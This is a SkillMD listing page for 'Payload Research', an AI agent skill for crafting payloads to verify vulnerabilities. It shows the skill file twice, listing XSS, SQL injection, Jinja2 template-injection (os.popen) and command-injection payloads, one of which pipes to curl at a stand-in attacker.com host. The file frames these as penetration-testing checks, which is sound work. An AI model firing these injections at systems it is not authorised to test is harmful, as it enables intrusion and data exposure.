How do I install the Payload Research skill?

Run npx skillmds@latest add m-sec-org/payload-research in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the Payload Research skill do?

Payload crafting and bypass research for vulnerability verification It is listed under Research & Search on SkillMD.

Is Payload Research safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Payload Research?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Payload Research free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Payload Research?

m-sec-org (@m-sec-org) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Payload Research by m-sec-org — Agent Skill

Name: Payload Research
Author: m-sec-org

File contents

Payload Research Skill

When to Use

Use this skill when you need to research, craft, or refine payloads for vulnerability verification.

Focus Areas

Input point analysis: where does user input enter the application?
Filter/WAF identification: what gets blocked or sanitized?
Encoding research: URL encoding, HTML entities, Unicode, double encoding
Bypass techniques: alternative syntax, case variations, null bytes
Signal identification: what observable behavior confirms the vulnerability?

Payload Categories

XSS Payloads

Basic: <script>alert(1)</script>
Event handlers: <img src=x>
SVG: <svg>


Template injection: {{constructor.constructor('alert(1)')()}}


SQLi Payloads

Detection: ' OR '1'='1, 1; SELECT 1--
Union: ' UNION SELECT null,null--
Time-based: '; WAITFOR DELAY '0:0:5'--

SSTI Payloads

Detection: {{7*7}}, ${7*7}, <%= 7*7 %>
Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Command Injection

Basic: ; id, | id, `id`
Blind: ; sleep 5, | curl attacker.com

Output Standards

Submit canonical machine output through submit_sub_agent_output exactly once.
Keep candidate_findings.status as candidate (no final vulnerability verdicts here).
If a hypothesis_id is provided, all submitted hypotheses/findings must remain on that single hypothesis.
If orchestrator state already marks goal_achieved=true, default action is stop and hand off to document/report unless deep-dive is explicitly requested.
Provide ready-to-use payloads with prerequisites and expected success/failure signals.
Optional markdown explanation is allowed, but machine ingestion only reads the submitted JSON payload.

   1---2name: payload-research3description: Payload crafting and bypass research for vulnerability verification4---56# Payload Research Skill78## When to Use9Use this skill when you need to research, craft, or refine payloads for vulnerability verification.1011## Focus Areas12- Input point analysis: where does user input enter the application?13- Filter/WAF identification: what gets blocked or sanitized?14- Encoding research: URL encoding, HTML entities, Unicode, double encoding15- Bypass techniques: alternative syntax, case variations, null bytes16- Signal identification: what observable behavior confirms the vulnerability?1718## Payload Categories1920### XSS Payloads21- Basic: `<script>alert(1)</script>`22- Event handlers: `<img onerror=alert(1) src=x>`23- SVG: `<svg onload=alert(1)>`24- Template injection: `{{constructor.constructor('alert(1)')()}}`2526### SQLi Payloads27- Detection: `' OR '1'='1`, `1; SELECT 1--`28- Union: `' UNION SELECT null,null--`29- Time-based: `'; WAITFOR DELAY '0:0:5'--`3031### SSTI Payloads32- Detection: `{{7*7}}`, `${7*7}`, `<%= 7*7 %>`33- Jinja2: `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}`3435### Command Injection36- Basic: `; id`, `| id`, `` `id` ``37- Blind: `; sleep 5`, `| curl attacker.com`3839## Output Standards40- Submit canonical machine output through `submit_sub_agent_output` exactly once.41- Keep `candidate_findings.status` as `candidate` (no final vulnerability verdicts here).42- If a `hypothesis_id` is provided, all submitted hypotheses/findings must remain on that single hypothesis.43- If orchestrator state already marks `goal_achieved=true`, default action is stop and hand off to document/report unless deep-dive is explicitly requested.44- Provide ready-to-use payloads with prerequisites and expected success/failure signals.45- Optional markdown explanation is allowed, but machine ingestion only reads the submitted JSON payload.

Frequently asked questions

Payload Research